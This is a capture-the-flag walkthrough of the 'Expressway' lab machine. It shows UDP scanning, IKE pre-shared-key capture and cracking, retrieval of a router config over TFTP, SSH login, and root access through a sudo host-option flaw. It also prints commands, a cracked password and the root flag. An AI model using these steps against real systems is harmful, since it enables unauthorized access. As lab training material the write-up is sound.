Expressway

Contents

- Scanning
- Enumeration
- Exploitation
- Privilege Escalation

Scanning

The IP target `10.10.11.87` was provided by the platform. A **Nmap** scan was performed to identify open ports and services on the target:

```
> nmap 10.10.11.87 -p- -sV -sC -Pn --min-rate 5000
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-19 18:18 EDT
Nmap scan report for 10.10.11.87
Host is up (0.092s latency).
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 10.0p2 Debian 8 (protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.84 seconds
```

Only SSH (22/tcp) was open. To ensure no other services were missed, a **UDP** scan was also executed:

```
> nmap -sU 10.10.11.87
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-19 19:14 EDT
Stats: 0:14:31 elapsed; 0 hosts completed (1 up), 1 undergoing UDP Scan
UDP Scan Timing: About 71.62% done; ETC: 19:34 (0:05:45 remaining
Stats: 0:19:16 elapsed; 0 hosts completed (1 up), 1 undergoing UDP Scan
UDP Scan Timing: About 97.40% done; ETC: 19:34 (0:00:31 remaining)
Nmap scan report for 10.10.11.87
```

```
Host is up (0.21s latency).
Not shown: 994 closed udp ports (port-unreach)
PORT      STATE         SERVICE
68/udp    open|filtered dhcpc
69/udp    open|filtered tftp
500/udp   open          isakmp
639/udp   open|filtered msdp
4500/udp  open|filtered nat-t-ike
49158/udp open|filtered unknown

Nmap done: 1 IP address (1 host up) scanned in 1216.77 seconds
```

Enumeration

Since TCP enumeration was limited, focus shifted to **UDP** services. Using **Nmap** with relevant scripts for the discovered ports. We can search them for example `ls -al /usr/share/nmap/scripts/ | grep -e "dhcp"`

```
NSE: [ssh-brute] Trying username/password pair: sysadmin:abc123
NSE: [ssh-brute] Trying username/password pair: netadmin:abc123
NSE: [ssh-brute] Trying username/password pair: guest:abc123
NSE: [ssh-brute] Trying username/password pair: user:abc123
NSE: [ssh-brute] Trying username/password pair: web:abc123
NSE: [ssh-brute] usernames: Time limit 10m00s exceeded.
NSE: [ssh-brute] usernames: Time limit 10m00s exceeded.
NSE: [ssh-brute] passwords: Time limit 10m00s exceeded.
Nmap scan report for 10.10.11.87
Host is up (0.28s latency).

PORT   STATE SERVICE
22/tcp open  ssh
| ssh-brute:
|   Accounts: No valid accounts found
|_  Statistics: Performed 109 guesses in 625 seconds, average tps: 0.2

Nmap done: 1 IP address (1 host up) scanned in 630.24 seconds
```

```
> nmap -sU 10.10.11.87 -p 68,69,500,639,4500,49158 -sV --script=broadcast-dhcp-
discover,tftp-enum,ike-version -Pn --max-retries 3 --host-timeout 5m
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-19 20:21 EDT
Pre-scan script results:
| broadcast-dhcp-discover:
|   Response 1 of 1:
|     Interface: eth0
|     IP Offered: 192.168.122.185
|     DHCP Message Type: DHCPOFFER
|     Server Identifier: 192.168.122.1
|     IP Address Lease Time: 1h00m00s
|     Renewal Time Value: 30m00s
|     Rebinding Time Value: 52m30s
|     Subnet Mask: 255.255.255.0
|     Broadcast Address: 192.168.122.255
|     Router: 192.168.122.1
|_    Domain Name Server: 192.168.122.1
Nmap scan report for 10.10.11.87
Host is up (0.29s latency).

PORT      STATE         SERVICE   VERSION
68/udp    open|filtered dhcpc
69/udp    open          tftp      Netkit tftpd or atftpd
| tftp-enum:
|_  ciscortr.cfg
```

```
500/udp   open          isakmp?
| ike-version:
|   attributes:
|     XAUTH
|_    Dead Peer Detection v1.0
639/udp   closed        msdp
4500/udp  open|filtered nat-t-ike
49158/udp closed        unknown

Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 259.95 seconds
```

Found a possible hint on the port **500**, so we used an scanner to get details, crack and format the data.

```
> ike-scan 10.10.11.87 --pskcrack -A
```

```
        KeyExchange(128 bytes)
        Nonce(32 bytes)
        ID(Type=ID_USER_FQDN, Value=ike@expressway.htb)
        VID=09002689dfd6b712 (XAUTH)
        VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)
        Hash(20 bytes)

IKE PSK parameters (g_xr:g_xi:cky_r:cky_i:sai_b:idir_b:ni_b:nr_b:hash_r):
fcbe508fab1e74e72464fe34dbf94530447f443c2d9190a87e0cfc02a61aacf2f7ff139677e50c78d24cf0ee01
a14114cad0ad53e576609dbd72571f5f769eb82e0c23f852a9e13bd704551b09df219e097a9762328078496578
b79cd31340e419c8bbaec5b0bfc15a0d58dd63e5fbac564e139e80e743edb60c4b3b2b3efef2:ee2240dea7322
946735462984eb9c7ea189c743c61161793d5e537189b483d0fbe47b451ffe8688a7fc27c376c5dfba7338592b
18381788980b897a46aabded3516ae88924c3e1c9763bcbeff5b497456e1e81738b917e6ce005f399d9b3a45d6
90ddd3dadc3db77dfac67cc820219a915527f1a1bc35b4719defd5137e09612:921ef135f367ea60:d40dde26d
87291f5:00000001000000010000009801010004030000240101000080010005800200028003000180040002800
0b0001000c000400007080030000240201000080010005800200018003000180040002800b0001000c00040000
70800300002403010000800100018002000280030001800400028000b0001000c000400007080000000240401000
0080010001800200018003000180040002800b0001000c000400007080:03000000696b6540657870726573737
761792e687462:020c9a6782ce28214e4153dba3e5ed508de08eb5:2a3665aaa8c416505b313caa197b7b4ffa0
a7d549b6064b53771f2db8679848d:817f3d6b4c50e83333824991b441b77b80408c40
Ending ike-scan 1.9.6: 1 hosts scanned in 0.144 seconds (6.96 hosts/sec).  1 returned hand
shake; 0 returned notify
```

A hash was obtained, the next step was crack or decrypt the hash that was saved as `ike.psk` to be treathed by the `psk-crack` tool.

```
❯ psk-crack -d /usr/share/wordlists/rockyou.txt ike.psk
Starting psk-crack [ike-scan 1.9.6] (http://www.nta-monitor.com/tools/ike-scan/)
Running in dictionary cracking mode
key "freakingrockstarontheroad" matches SHA1 hash 817f3d6b4c50e83333824991b441b77b80408c40
Ending psk-crack: 8045040 iterations in 4.581 seconds (1756117.62 iterations/sec)
```

So, at this point a password was found but who was the user? that is the next step, find it. The scan indicated a **tftp** service with a possible config file `ciscortr.cfg`.

```
❯ tftp
(to) 10.10.11.87
tftp> status
Connected to 10.10.11.87.
Mode: netascii Verbose: off Tracing: off Literal: off
Rexmt-interval: 5 seconds, Max-timeout: 25 seconds
tftp> get ciscortr.cfg
tftp>
```

Inspecting the file found a user and other interesting secrets.

```
crypto isakmp policy 1

    encryption 3des

    authentication pre-share

    group 2

    lifetime 480

!

crypto isakmp client configuration group rtr-remote

    key secret-password

    dns 208.67.222.222

    domain expressway.htb

    pool dynpool

!
```

Exploitation

With this hint the next was to try a **SSH** connection with the user `ike` and the password obtained to get access to the terminal and the result was this.

```
❯ ssh ike@10.10.11.87
The authenticity of host '10.10.11.87 (10.10.11.87)' can't be established.
ED25519 key fingerprint is SHA256:fZLjHktV7oXzFz9v3ylWFE4BS9rECyxSHdlLrfxRM8g.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.87' (ED25519) to the list of known hosts.
ike@10.10.11.87's password:
Last login: Mon Oct 20 18:23:35 BST 2025 from 10.10.14.114 on ssh
Linux expressway.htb 6.16.7+deb14-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.16.7-1 (2025-09-11
) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Oct 20 18:40:38 2025 from 10.10.15.9
ike@expressway:~$
```

Using the `ls -l` command and `cat user.txt` the flag was obtained.

Privilege Escalation

Checking for sudo privileges revealed a custom `sudo` message, suggesting possible binary manipulation.

```
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have mail.
Last login: Sun Nov 2 17:33:34 2025 from 10.10.14.6
ike@expressway:~$ ls
user.txt
ike@expressway:~$ sudo -l

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

For security reasons, the password you type will not be visible.

Password:
Sorry, try again.
Password:
Sorry, user ike may not run sudo on expressway.
ike@expressway:~$
```

Further enumeration of groups and system processes revealed that the user ike belonged to the proxy group, which was associated with **Squid**, a caching proxy service.

```
ike@expressway:~$ echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
ike@expressway:~$ ls -l /usr/local/bin
total 2608
-rwxr-xr-x 1 root root 1218328 Aug 29 15:18 cvtsudoers
-rwsr-xr-x 1 root root 1047040 Aug 29 15:18 sudo
lrwxrwxrwx 1 root root       4 Aug 29 15:18 sudoedit -> sudo
-rwxr-xr-x 1 root root  401352 Aug 29 15:18 sudoreplay
ike@expressway:~$
```

```
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:100:107::/nonexistent:/usr/sbin/nologin
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
strongswan:x:102:65534::/var/lib/strongswan:/usr/sbin/nologin
tcpdump:x:103:110::/nonexistent:/usr/sbin/nologin
ike:x:1001:1001:ike,,,:/home/ike:/bin/bash
mysql:x:104:111:MariaDB Server,,,:/nonexistent:/bin/false
tftp:x:105:112:tftp daemon,,,:/srv/tftp:/usr/sbin/nologin
Debian-exim:x:106:113::/var/spool/exim4:/usr/sbin/nologin
_laurel:x:999:994::/var/log/laurel:/bin/false
```

At this point we found the `proxy` group so, decided to check the proxys working on the system in this case we found **squid** that is a cache proxy installed.

```
ike@expressway:~$ ls -l /var/log/squid
total 20
-rw-r----- 1 proxy proxy 4778 Jul 23 01:19 access.log.1
-rw-r----- 1 proxy proxy   20 Jul 22 19:32 access.log.2.gz
-rw-r----- 1 proxy proxy 2192 Jul 23 01:47 cache.log.1
-rw-r----- 1 proxy proxy  941 Jul 23 01:47 cache.log.2.gz
ike@expressway:~$
```

Reviewing the Squid access logs (`access.log.1`) showed multiple `TCP_DENIED` entries, including references to `offramp.expressway.htb` and concluding the sudo binary depends of the domain.

```
1753229688.902      0 192.168.68.50 NONE_NONE/000 0 - error:transaction-end-before-headers
 - HIER_NONE/- -
1753229688.902      0 192.168.68.50 TCP_DENIED/403 3807 GET http://offramp.expressway.htb
- HIER_NONE/- text/html
1753229689.010      0 192.168.68.50 NONE_NONE/400 3896 OPTIONS / - HIER_NONE/- text/html
1753229689.010      0 192.168.68.50 NONE_NONE/400 3896 XDGY / - HIER_NONE/- text/html
1753229689.010      0 192.168.68.50 NONE_NONE/400 3916 GET /evox/about - HIER_NONE/- text/
html
1753229689.058      0 192.168.68.50 NONE_NONE/400 3906 GET /HNAP1 - HIER_NONE/- text/html
1753229689.058      0 192.168.68.50 NONE_NONE/400 3896 PROPFIND / - HIER_NONE/- text/html
1753229689.058      0 192.168.68.50 TCP_DENIED/403 381 HEAD http://www.google.com/ - HIER_
NONE/- text/html
1753229689.058      0 192.168.68.50 NONE_NONE/400 3934 GET /browseDirectory.jsp - HIER_NON
E/- text/html
1753229689.058      0 192.168.68.50 NONE_NONE/400 3924 GET /jobtracker.jsp - HIER_NONE/- t
ext/html
1753229689.058      0 192.168.68.50 NONE_NONE/400 3916 GET /status.jsp - HIER_NONE/- text/
html
1753229689.114      0 192.168.68.50 NONE_NONE/400 3916 GET /robots.txt - HIER_NONE/- text/
html
1753229689.114      0 192.168.68.50 NONE_NONE/400 3922 GET /dfshealth.jsp - HIER_NONE/- te
xt/html
1753229689.165      0 192.168.68.50 NONE_NONE/400 3896 OPTIONS / - HIER_NONE/- text/html
1753229689.165      0 192.168.68.50 NONE_NONE/400 3896 GET / - HIER_NONE/- text/html
```

This indicated a potential trust dependency for `sudo` authentication. By reattempting sudo execution with this hostname configured, **root** access was successfully obtained.

```
ike@expressway:~$ /usr/local/bin/sudo -h offramp.expressway.htb bash
root@expressway:/home/ike# cat root.txt
cat: root.txt: No such file or directory
root@expressway:/home/ike# cat /root/root.txt
c75623bc8577181600a610c8ec09e11b
root@expressway:/home/ike# ls -l /root/
total 4
-rw-r----- 1 root root 33 Nov  2 15:26 root.txt
root@expressway:/home/ike# cat /root/root.txt
c75623bc8577181600a610c8ec09e11b
root@expressway:/home/ike#
```

Conclusion

The exploitation path highlighted:

> The importance of inspecting non-TCP services.
> Risks of exposing configuration files via TFTP.
> Weak credential management and misconfigured proxy dependencies.

Lesson learned: UDP enumeration can uncover critical attack surfaces often missed during initial TCP scans.

---

*Written by **kur0bai***